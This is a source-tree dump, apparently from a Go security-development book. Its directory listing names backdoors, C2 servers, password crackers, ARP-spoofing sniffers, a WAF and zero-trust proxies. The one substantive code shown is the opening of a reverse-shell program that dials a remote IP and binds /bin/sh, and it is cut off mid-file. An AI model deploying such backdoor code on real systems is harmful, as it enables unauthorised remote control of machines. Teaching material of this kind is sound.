│ │ │ └── dataTables.keyTable.min.js │ │ │ │ ├── Responsive │ │ │ │ │ ├── License.txt │ │ │ │ │ ├── Readme.md │ │ │ │ │ ├── css │ │ │ │ │ │ ├── dataTables.responsive.css │ │ │ │ │ │ └── dataTables.responsive.scss │ │ │ │ │ ├── examples │ │ │ │ │ │ ├── child-rows │ │ │ │ │ │ │ ├── column-control.html │ │ │ │ │ │ │ ├── custom-renderer.html │ │ │ │ │ │ │ ├── disable-child-rows.html │ │ │ │ │ │ │ ├── index.html │ │ │ │ │ │ │ ├── right-column.html │ │ │ │ │ │ │ └── whole-row-control.html │ │ │ │ │ │ ├── display-control │ │ │ │ │ │ │ ├── auto.html │ │ │ │ │ │ │ ├── classes.html │ │ │ │ │ │ │ ├── complexHeader.html │ │ │ │ │ │ │ ├── fixedHeader.html │ │ │ │ │ │ │ ├── index.html │ │ │ │ │ │ │ └── init-classes.html │ │ │ │ │ │ ├── index.html │ │ │ │ │ │ ├── initialisation │ │ │ │ │ │ │ ├── ajax.html │ │ │ │ │ │ │ ├── className.html │ │ │ │ │ │ │ ├── default.html │ │ │ │ │ │ │ ├── index.html │ │ │ │ │ │ │ ├── new.html │ │ │ │ │ │ │ └── option.html │ │ │ │ │ │ └── styling │ │ │ │ │ │ │ ├── bootstrap.html │ │ │ │ │ │ │ ├── compact.html │ │ │ │ │ │ │ ├── foundation.html │ │ │ │ │ │ │ ├── index.html │ │ │ │ │ │ │ └── scrolling.html │ │ │ │ │ └── js │ │ │ │ │ │ ├── dataTables.responsive.js │ │ │ │ │ │ └── dataTables.responsive.min.js │ │ │ │ ├── Scroller │ │ │ │ │ ├── Readme.txt │ │ │ │ │ ├── css │ │ │ │ │ │ ├── dataTables.scroller.css │ │ │ │ │ │ └── dataTables.scroller.min.css │ │ │ │ │ ├── examples │ │ │ │ │ │ ├── api_scrolling.html │ │ │ │ │ │ ├── data │ │ │ │ │ │ │ ├── 2500.txt │ │ │ │ │ │ │ └── ssp.php │ │ │ │ │ │ ├── index.html │ │ │ │ │ │ ├── large_js_source.html │ │ │ │ │ │ ├── server-side_processing.html │ │ │ │ │ │ ├── simple.html │ │ │ │ │ │ └── state_saving.html │ │ │ │ │ ├── images │ │ │ │ │ │ └── loading-background.png │ │ │ │ │ └── js │ │ │ │ │ │ ├── dataTables.scroller.js │ │ │ │ │ │ └── dataTables.scroller.min.js │ │ │ │ └── TableTools │ │ │ │ │ ├── Readme.md │ │ │ │ │ ├── css │ │ │ │ │ ├── dataTables.tableTools.css │ │ │ │ │ └── dataTables.tableTools.min.css │ │ │ │ │ ├── examples │ │ │ │ │ ├── ajax.html │ │ │ │ │ ├── alter_buttons.html │ │ │ │ │ ├── bootstrap.html │ │ │ │ │ ├── button_text.html │ │ │ │ │ ├── collection.html │ │ │ │ │ ├── defaults.html │ │ │ │ │ ├── index.html │ │ │ │ │ ├── jqueryui.html │ │ │ │ │ ├── multi_instance.html │ │ │ │ │ ├── multiple_tables.html │ │ │ │ │ ├── new_init.html │ │ │ │ │ ├── pdf_message.html │ │ │ │ │ ├── plug-in.html │ │ │ │ │ ├── select_column.html │ │ │ │ │ ├── select_multi.html │ │ │ │ │ ├── select_os.html │ │ │ │ │ ├── select_single.html │ │ │ │ │ ├── simple.html │ │ │ │ │ └── swf_path.html │ │ │ │ │ ├── images │ │ │ │ │ ├── collection.png │ │ │ │ │ ├── collection_hover.png │ │ │ │ │ ├── copy.png │ │ │ │ │ ├── copy_hover.png │ │ │ │ │ ├── csv.png │ │ │ │ │ ├── csv_hover.png │ │ │ │ │ ├── pdf.png │ │ │ │ │ ├── pdf_hover.png │ │ │ │ │ ├── print.png │ │ │ │ │ ├── print_hover.png │ │ │ │ │ ├── psd │ │ │ │ │ │ ├── collection.psd │ │ │ │ │ │ ├── copy document.psd │ │ │ │ │ │ ├── file_types.psd │ │ │ │ │ │ └── printer.psd │ │ │ │ │ ├── xls.png │ │ │ │ │ └── xls_hover.png │ │ │ │ │ ├── js │ │ │ │ │ ├── dataTables.tableTools.js │ │ │ │ │ └── dataTables.tableTools.min.js │ │ │ │ │ └── swf │ │ │ │ │ ├── copy_csv_xls.swf │ │ │ │ │ └── copy_csv_xls_pdf.swf │ │ │ ├── images │ │ │ │ ├── sort_asc.png │ │ │ │ ├── sort_asc_disabled.png │ │ │ │ ├── sort_both.png │ │ │ │ ├── sort_desc.png │ │ │ │ └── sort_desc_disabled.png │ │ │ ├── jquery.dataTables.css │ │ │ ├── jquery.dataTables.js │ │ │ ├── jquery.dataTables.min.css │ │ │ ├── jquery.dataTables.min.js │ │ │ └── jquery.dataTables_themeroller.css │ │ │ ├── echarts │ │ │ └── 2.2.7 │ │ │ │ └── echarts-all.js │ │ │ ├── fastclick │ │ │ ├── fastclick.js │ │ │ └── fastclick.min.js │ │ │ ├── font-awesome-4.7.0 │ │ │ ├── css │ │ │ │ ├── font-awesome.css │ │ │ │ └── font-awesome.min.css │ │ │ └── fonts │ │ │ │ ├── FontAwesome.otf │ │ │ │ ├── fontawesome-webfont.eot │ │ │ │ ├── fontawesome-webfont.svg │ │ │ │ ├── fontawesome-webfont.ttf │ │ │ │ ├── fontawesome-webfont.woff │ │ │ │ └── fontawesome-webfont.woff2 │ │ │ ├── html5shiv │ │ │ └── 3.7.3 │ │ │ │ ├── html5shiv.js │ │ │ │ └── html5shiv.min.js │ │ │ ├── jQuery │ │ │ └── jquery-2.2.3.min.js │ │ │ ├── respond │ │ │ └── 1.4.2 │ │ │ │ ├── respond.min.js │ │ │ │ └── respond.src.js │ │ │ └── slimScroll │ │ │ ├── jquery.slimscroll.js │ │ │ └── jquery.slimscroll.min.js │ ├── routers │ │ ├── dash.go │ │ ├── index.go │ │ ├── password.go │ │ ├── record.go │ │ ├── tongji.go │ │ └── user.go │ ├── settings │ │ └── settings.go │ ├── templates │ │ ├── dash.html │ │ ├── error.html │ │ ├── login.html │ │ ├── password_detail.html │ │ ├── passwords.html │ │ ├── passwords_site.html │ │ ├── record.html │ │ ├── record_detail.html │ │ ├── record_site.html │ │ ├── tongji_password.html │ │ ├── tongji_urls.html │ │ ├── user.html │ │ ├── user_edit.html │ │ └── user_new.html │ ├── util │ │ └── lib.go │ └── vars │ │ └── vars.go ├── scripts │ ├── .idea │ │ ├── .gitignore │ │ ├── inspectionProfiles │ │ │ └── profiles_settings.xml │ │ ├── misc.xml │ │ ├── modules.xml │ │ ├── scripts.iml │ │ └── vcs.xml │ ├── config │ │ ├── __init__.py │ │ └── config.py │ ├── mongodb.py │ └── script.py └── server │ ├── .gitignore │ ├── build.sh │ ├── conf │ └── app.ini │ ├── go.mod │ ├── go.sum │ ├── log │ └── log.go │ ├── models │ ├── init.go │ └── models.go │ ├── modules │ └── web │ │ ├── api.go │ │ └── routers │ │ └── api.go │ ├── server.go │ ├── settings │ └── settings.go │ └── util │ └── lib.go ├── scanner ├── crack_ssh_demo │ ├── .idea │ │ ├── .gitignore │ │ ├── crack_ssh_demo.iml │ │ ├── misc.xml │ │ ├── modules.xml │ │ └── vcs.xml │ └── main.go ├── gorequest.go ├── grequests.go ├── http_get.go ├── password_crack │ ├── .idea │ │ ├── .gitignore │ │ ├── codeStyles │ │ │ └── codeStyleConfig.xml │ │ ├── misc.xml │ │ ├── modules.xml │ │ ├── password_crack.iml │ │ ├── thriftCompiler.xml │ │ └── vcs.xml │ ├── cmd │ │ └── cmd.go │ ├── go.mod │ ├── go.sum │ ├── ip_list.txt │ ├── logger │ │ └── log.go │ ├── main.go │ ├── models │ │ ├── cache.go │ │ └── models.go │ ├── pass.dic │ ├── password_crack.db │ ├── password_crack.txt │ ├── plugins │ │ ├── ftp.go │ │ ├── mongodb.go │ │ ├── mssql.go │ │ ├── mysql.go │ │ ├── plugins.go │ │ ├── postgres.go │ │ ├── redis.go │ │ └── ssh.go │ ├── user.dic │ ├── util │ │ ├── file.go │ │ ├── hash │ │ │ ├── hash.go │ │ │ └── md5.go │ │ ├── task.go │ │ └── util.go │ └── vars │ │ └── vars.go ├── proxy-scanner │ ├── .idea │ │ ├── .gitignore │ │ ├── codeStyles │ │ │ └── codeStyleConfig.xml │ │ ├── misc.xml │ │ ├── modules.xml │ │ ├── proxy-scanner.iml │ │ ├── thriftCompiler.xml │ │ └── vcs.xml │ ├── cmd │ │ └── cmd.go │ ├── go.mod │ ├── go.sum │ ├── iplist.txt │ ├── main.go │ ├── models │ │ └── models.go │ ├── proxy │ │ ├── http.go │ │ ├── proxy.go │ │ └── socks.go │ └── util │ │ ├── file.go │ │ └── log.go ├── socks5.go ├── tcp-connect-scanner-demo │ ├── .idea │ │ ├── codeStyles │ │ │ └── codeStyleConfig.xml │ │ ├── misc.xml │ │ ├── modules.xml │ │ ├── tcp-connect-scanner-demo.iml │ │ ├── thriftCompiler.xml │ │ ├── vcs.xml │ │ └── workspace.xml │ ├── cmd │ │ └── cmd.go │ ├── go.mod │ ├── go.sum │ ├── main.go │ ├── scanner │ │ └── tcp-scanner.go │ └── util │ │ └── util.go ├── tcp-connect-scanner1 │ ├── .idea │ │ ├── codeStyles │ │ │ └── codeStyleConfig.xml │ │ ├── misc.xml │ │ ├── modules.xml │ │ ├── tcp-connect-scanner1.iml │ │ ├── thriftCompiler.xml │ │ ├── vcs.xml │ │ └── workspace.xml │ ├── cmd │ │ └── cmd.go │ ├── go.mod │ ├── go.sum │ ├── main.go │ ├── scanner │ │ ├── task.go │ │ └── tcp-scanner.go │ ├── util │ │ └── util.go │ └── vars │ │ └── vars.go ├── tcp-connect-scanner2 │ ├── .idea │ │ ├── codeStyles │ │ │ └── codeStyleConfig.xml │ │ ├── misc.xml │ │ ├── modules.xml │ │ ├── tcp-connect-scanner1.iml │ │ ├── thriftCompiler.xml │ │ ├── vcs.xml │ │ └── workspace.xml │ ├── cmd │ │ └── cmd.go │ ├── go.mod │ ├── go.sum │ ├── main.go │ ├── scanner │ │ ├── task.go │ │ └── tcp-scanner.go │ ├── util │ │ └── util.go │ └── vars │ │ └── vars.go ├── tcp-scanner-final │ ├── .idea │ │ ├── .gitignore │ │ ├── codeStyles │ │ │ └── codeStyleConfig.xml │ │ ├── misc.xml │ │ ├── modules.xml │ │ ├── tcp-connect-scanner1.iml │ │ ├── thriftCompiler.xml │ │ └── vcs.xml │ ├── cmd │ │ └── cmd.go │ ├── go.mod │ ├── go.sum │ ├── main.go │ ├── scanner │ │ ├── connect.go │ │ ├── syn-scan.go │ │ └── task.go │ ├── util │ │ └── util.go │ └── vars │ │ └── vars.go ├── tcp-syn-scan-demo │ ├── .idea │ │ ├── .gitignore │ │ ├── codeStyles │ │ │ └── codeStyleConfig.xml │ │ ├── misc.xml │ │ ├── modules.xml │ │ ├── synscan.iml │ │ ├── thriftCompiler.xml │ │ └── vcs.xml │ ├── go.mod │ ├── go.sum │ ├── main.go │ ├── scan │ │ └── synscan.go │ └── util │ │ └── util.go └── tcp-syn-scanner │ ├── .idea │ ├── .gitignore │ ├── codeStyles │ │ └── codeStyleConfig.xml │ ├── misc.xml │ ├── modules.xml │ ├── tcp-connect-scanner1.iml │ ├── thriftCompiler.xml │ └── vcs.xml │ ├── cmd │ └── cmd.go │ ├── go.mod │ ├── go.sum │ ├── main.go │ ├── scanner │ ├── syn-scan.go │ └── task.go │ ├── util │ └── util.go │ └── vars │ └── vars.go ├── sniffer ├── arp_sniff_demo │ ├── .idea │ │ ├── .gitignore │ │ ├── arp_sniff_demo.iml │ │ ├── codeStyles │ │ │ └── codeStyleConfig.xml │ │ ├── misc.xml │ │ ├── modules.xml │ │ ├── thriftCompiler.xml │ │ └── vcs.xml │ ├── arpspoof │ │ └── arp.go │ ├── go.mod │ ├── go.sum │ ├── logger │ │ └── log.go │ ├── main.go │ └── sniff │ │ └── sniff.go ├── decode_layers │ ├── .idea │ │ ├── .gitignore │ │ ├── codeStyles │ │ │ └── codeStyleConfig.xml │ │ ├── decode_layers.iml │ │ ├── misc.xml │ │ ├── modules.xml │ │ ├── thriftCompiler.xml │ │ └── vcs.xml │ └── main.go ├── demo │ ├── .idea │ │ ├── .gitignore │ │ ├── codeStyles │ │ │ └── codeStyleConfig.xml │ │ ├── demo.iml │ │ ├── misc.xml │ │ ├── modules.xml │ │ ├── thriftCompiler.xml │ │ └── vcs.xml │ └── main.go ├── send_arp │ ├── .idea │ │ ├── .gitignore │ │ ├── codeStyles │ │ │ └── codeStyleConfig.xml │ │ ├── misc.xml │ │ ├── modules.xml │ │ ├── send_arp.iml │ │ ├── thriftCompiler.xml │ │ └── vcs.xml │ └── main.go ├── sniff_password │ ├── .idea │ │ ├── .gitignore │ │ ├── codeStyles │ │ │ └── codeStyleConfig.xml │ │ ├── misc.xml │ │ ├── modules.xml │ │ ├── sniff_password.iml │ │ ├── thriftCompiler.xml │ │ └── vcs.xml │ └── main.go └── webspy │ ├── .idea │ ├── .gitignore │ ├── codeStyles │ │ └── codeStyleConfig.xml │ ├── misc.xml │ ├── modules.xml │ ├── thriftCompiler.xml │ ├── vcs.xml │ └── webspy.iml │ ├── cmd │ └── cmd.go │ ├── go.mod │ ├── go.sum │ ├── logger │ └── log.go │ ├── main.go │ ├── models │ └── http.go │ ├── modules │ ├── arpspoof │ │ └── arpspoof.go │ ├── assembly │ │ └── http.go │ ├── web │ │ └── web.go │ └── webspy.go │ └── vars │ └── vars.go ├── traffic-analysis ├── .idea │ ├── .gitignore │ ├── misc.xml │ ├── modules.xml │ ├── thriftCompiler.xml │ ├── traffic-analysis.iml │ └── vcs.xml ├── sensor │ ├── .idea │ │ ├── codeStyles │ │ │ └── codeStyleConfig.xml │ │ ├── modules.xml │ │ ├── sensor.iml │ │ ├── thriftCompiler.xml │ │ ├── vcs.xml │ │ └── workspace.xml │ ├── cmd │ │ └── cmd.go │ ├── conf │ │ └── app.ini │ ├── go.mod │ ├── go.sum │ ├── main.go │ ├── misc │ │ ├── lib.go │ │ ├── log.go │ │ └── util.go │ ├── models │ │ ├── dns.go │ │ ├── http.go │ │ └── models.go │ ├── sensor │ │ ├── assembly.go │ │ ├── process.go │ │ └── sensor.go │ └── settings │ │ └── settings.go └── server │ ├── .idea │ ├── .gitignore │ ├── codeStyles │ │ └── codeStyleConfig.xml │ ├── misc.xml │ ├── modules.xml │ ├── server.iml │ ├── thriftCompiler.xml │ └── vcs.xml │ ├── audit │ └── audit.go │ ├── cmd │ └── cmd.go │ ├── conf │ └── app.ini │ ├── go.mod │ ├── go.sum │ ├── main.go │ ├── models │ ├── dns.go │ ├── http.go │ ├── init.go │ └── models.go │ ├── public │ └── css │ │ └── css.css │ ├── settings │ └── setting.go │ ├── templates │ ├── dns.html │ ├── http_req.html │ └── index.html │ ├── util │ ├── lib.go │ └── log.go │ └── web │ ├── init.go │ ├── routers │ ├── api.go │ └── index.go │ └── web.go ├── waf ├── .gitignore ├── x-waf-admin │ ├── .gitattributes │ ├── README.md │ ├── conf │ │ └── app.ini │ ├── models │ │ ├── models.go │ │ ├── rules.go │ │ ├── site.go │ │ └── user.go │ ├── modules │ │ └── util │ │ │ └── common.go │ ├── public │ │ ├── css │ │ │ ├── bootstrap-table.css │ │ │ ├── bootstrap-theme.css │ │ │ ├── bootstrap-theme.css.map │ │ │ ├── bootstrap-theme.min.css │ │ │ ├── bootstrap.css │ │ │ ├── bootstrap.css.map │ │ │ ├── bootstrap.min.css │ │ │ ├── datepicker.css │ │ │ ├── datepicker3.css │ │ │ ├── style.css │ │ │ └── styles.css │ │ ├── fonts │ │ │ ├── glyphicons-halflings-regular.eot │ │ │ ├── glyphicons-halflings-regular.svg │ │ │ ├── glyphicons-halflings-regular.ttf │ │ │ └── glyphicons-halflings-regular.woff │ │ ├── js │ │ │ ├── bootstrap-datepicker.js │ │ │ ├── bootstrap-table.js │ │ │ ├── bootstrap.js │ │ │ ├── bootstrap.min.js │ │ │ ├── chart-data.js │ │ │ ├── chart.min.js │ │ │ ├── easypiechart-data.js │ │ │ ├── easypiechart.js │ │ │ ├── html5shiv.min.js │ │ │ ├── jquery-1.11.1.min.js │ │ │ ├── lumino.glyphs.js │ │ │ └── respond.min.js │ │ └── tables │ │ │ ├── data1.json │ │ │ └── data2.json │ ├── routers │ │ ├── admin.go │ │ ├── index.go │ │ ├── rules.go │ │ ├── site.go │ │ └── user.go │ ├── server.go │ ├── setting │ │ └── setting.go │ ├── sql │ │ ├── rules.sql │ │ └── tmp │ │ │ └── app.ini │ └── templates │ │ ├── AdminIndex.html │ │ ├── EditRule.html │ │ ├── EditSite.html │ │ ├── EditUser.html │ │ ├── error.html │ │ ├── index.html │ │ ├── login.html │ │ ├── newRule.html │ │ ├── newSite.html │ │ ├── newUser.html │ │ ├── proxy.tmpl │ │ ├── rules.html │ │ └── user.html └── x-waf │ ├── .gitignore │ ├── README.md │ ├── access.lua │ ├── config.lua │ ├── init.lua │ ├── nginx_conf │ └── nginx.conf │ ├── rules │ ├── args.rule │ ├── blackip.rule │ ├── cookie.rule │ ├── post.rule │ ├── url.rule │ ├── useragent.rule │ ├── whiteUrl.rule │ └── whiteip.rule │ ├── util.lua │ └── waf.lua └── zero-trust ├── cel-test ├── .idea │ ├── .gitignore │ ├── cel-test.iml │ ├── codeStyles │ │ └── codeStyleConfig.xml │ ├── misc.xml │ ├── modules.xml │ ├── thriftCompiler.xml │ └── vcs.xml ├── go.mod ├── go.sum └── main.go ├── middleware ├── .idea │ ├── .gitignore │ ├── middleware.iml │ ├── misc.xml │ ├── modules.xml │ ├── thriftCompiler.xml │ └── vcs.xml ├── go.mod ├── go.sum ├── hello.go └── middleware.go ├── reverse-proxy-demo ├── .idea │ ├── .gitignore │ ├── codeStyles │ │ └── codeStyleConfig.xml │ ├── misc.xml │ ├── modules.xml │ ├── reverse-proxy-demo.iml │ ├── thriftCompiler.xml │ └── vcs.xml └── main.go ├── zero-trust-demo ├── .idea │ ├── .gitignore │ ├── codeStyles │ │ └── codeStyleConfig.xml │ ├── misc.xml │ ├── modules.xml │ ├── thriftCompiler.xml │ ├── vcs.xml │ └── zero-trust-demo.iml ├── demo │ └── server.go ├── go.mod ├── go.sum ├── main.go └── proxy │ └── proxy.go └── zero-trust-proxy ├── .idea ├── .gitignore ├── codeStyles │ └── codeStyleConfig.xml ├── misc.xml ├── modules.xml ├── thriftCompiler.xml ├── vcs.xml └── zero-trust-proxy.iml ├── authentication ├── auth.go ├── providers │ ├── google │ │ └── google.go │ └── oauth2.go └── token.go ├── authorization └── auth.go ├── certs ├── server.crt └── server.key ├── cmd └── cmd.go ├── conf └── config.yaml ├── config └── config.go ├── credentials.json ├── go.mod ├── go.sum ├── logger └── log.go ├── main.go ├── proxy └── proxy.go ├── util └── util.go └── vars └── vars.go /.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /.idea/sec-dev-in-action-src.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /001.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/001.jpg -------------------------------------------------------------------------------- /002.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/002.jpg -------------------------------------------------------------------------------- /backdoor/.idea/.gitignore: -------------------------------------------------------------------------------- 1 | # Default ignored files 2 | /workspace.xml -------------------------------------------------------------------------------- /backdoor/.idea/backdoor.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /backdoor/.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 6 | -------------------------------------------------------------------------------- /backdoor/.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /backdoor/.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /backdoor/bind_shell/.idea/bind_shell.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /backdoor/bind_shell/.idea/codeStyles/codeStyleConfig.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 5 | -------------------------------------------------------------------------------- /backdoor/bind_shell/.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /backdoor/bind_shell/.idea/thriftCompiler.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /backdoor/bind_shell/.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /backdoor/command-control/.idea/codeStyles/codeStyleConfig.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 5 | -------------------------------------------------------------------------------- /backdoor/command-control/.idea/command-control.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /backdoor/command-control/.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 6 | -------------------------------------------------------------------------------- /backdoor/command-control/.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /backdoor/command-control/.idea/thriftCompiler.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /backdoor/command-control/.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /backdoor/command-control/command-control-demo/client/.idea/client.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /backdoor/command-control/command-control-demo/client/.idea/codeStyles/codeStyleConfig.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 5 | -------------------------------------------------------------------------------- /backdoor/command-control/command-control-demo/client/.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 6 | -------------------------------------------------------------------------------- /backdoor/command-control/command-control-demo/client/.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /backdoor/command-control/command-control-demo/client/.idea/thriftCompiler.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /backdoor/command-control/command-control-demo/client/.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /backdoor/command-control/command-control-demo/client/go.mod: -------------------------------------------------------------------------------- 1 | module sec-dev-in-action-src/backdoor/command-control/command-control-demo/client 2 | 3 | go 1.13 4 | 5 | require ( 6 | github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e // indirect 7 | github.com/satori/go.uuid v1.2.0 8 | gopkg.in/check.v1 v1.0.0-20200902074654-038fdea0a05b // indirect 9 | ) 10 | -------------------------------------------------------------------------------- /backdoor/command-control/command-control-demo/client/models/command.go: -------------------------------------------------------------------------------- 1 | package models 2 | 3 | import "time" 4 | 5 | type ( 6 | Command struct { 7 | Id int64 `json:"id"` 8 | AgentId string `json:"agent_id"` 9 | Content string `json:"content"` 10 | Status int `json:"status"` 11 | CreateTime time.Time `xorm:"created"` 12 | UpdateTime time.Time `xorm:"updated"` 13 | } 14 | ) 15 | -------------------------------------------------------------------------------- /backdoor/command-control/command-control-demo/server/.idea/codeStyles/codeStyleConfig.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 5 | -------------------------------------------------------------------------------- /backdoor/command-control/command-control-demo/server/.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 6 | -------------------------------------------------------------------------------- /backdoor/command-control/command-control-demo/server/.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /backdoor/command-control/command-control-demo/server/.idea/server.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /backdoor/command-control/command-control-demo/server/.idea/thriftCompiler.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /backdoor/command-control/command-control-demo/server/.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /backdoor/command-control/command-control-demo/server/c_c.db: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/backdoor/command-control/command-control-demo/server/c_c.db -------------------------------------------------------------------------------- /backdoor/command-control/command-control-final/client/.idea/client.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /backdoor/command-control/command-control-final/client/.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 6 | -------------------------------------------------------------------------------- /backdoor/command-control/command-control-final/client/.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /backdoor/command-control/command-control-final/client/models/command.go: -------------------------------------------------------------------------------- 1 | package models 2 | 3 | import "time" 4 | 5 | type ( 6 | Command struct { 7 | Id int64 `json:"id"` 8 | AgentId string `json:"agent_id"` 9 | Content string `json:"content"` 10 | Status int `json:"status"` 11 | CreateTime time.Time `xorm:"created"` 12 | UpdateTime time.Time `xorm:"updated"` 13 | } 14 | ) 15 | -------------------------------------------------------------------------------- /backdoor/command-control/command-control-final/server/.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 6 | -------------------------------------------------------------------------------- /backdoor/command-control/command-control-final/server/.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /backdoor/command-control/command-control-final/server/.idea/server.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /backdoor/command-control/command-control-final/server/c_c.db: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/backdoor/command-control/command-control-final/server/c_c.db -------------------------------------------------------------------------------- /backdoor/nginx_lua_security/images/000.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/backdoor/nginx_lua_security/images/000.png -------------------------------------------------------------------------------- /backdoor/nginx_lua_security/images/001.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/backdoor/nginx_lua_security/images/001.png -------------------------------------------------------------------------------- /backdoor/nginx_lua_security/images/002.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/backdoor/nginx_lua_security/images/002.png -------------------------------------------------------------------------------- /backdoor/nginx_lua_security/images/003.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/backdoor/nginx_lua_security/images/003.png -------------------------------------------------------------------------------- /backdoor/nginx_lua_security/images/004.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/backdoor/nginx_lua_security/images/004.png -------------------------------------------------------------------------------- /backdoor/nginx_lua_security/images/005.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/netxfly/sec-dev-in-action-src/332d60421f58b3ee2beacb0d1386970497c64436/backdoor/nginx_lua_security/images/005.png -------------------------------------------------------------------------------- /backdoor/reverse_shell/.idea/codeStyles/codeStyleConfig.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 5 | -------------------------------------------------------------------------------- /backdoor/reverse_shell/.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /backdoor/reverse_shell/.idea/reverse_shell.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /backdoor/reverse_shell/.idea/thriftCompiler.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /backdoor/reverse_shell/.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /backdoor/reverse_shell/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "log" 6 | "net" 7 | "os" 8 | "os/exec" 9 | ) 10 | 11 | var ( 12 | shell = "/bin/sh" 13 | remoteIp string 14 | ) 15 | 16 | func main() { 17 | if len(os.Args) < 2 { 18 | fmt.Println("Usage: " + os.Args[0] + " ") 19 | os.Exit(1) 20 | } 21 | remoteIp = os.Args[1] 22 | remoteConn, err := net.Dial("tcp", remoteIp) 23 | 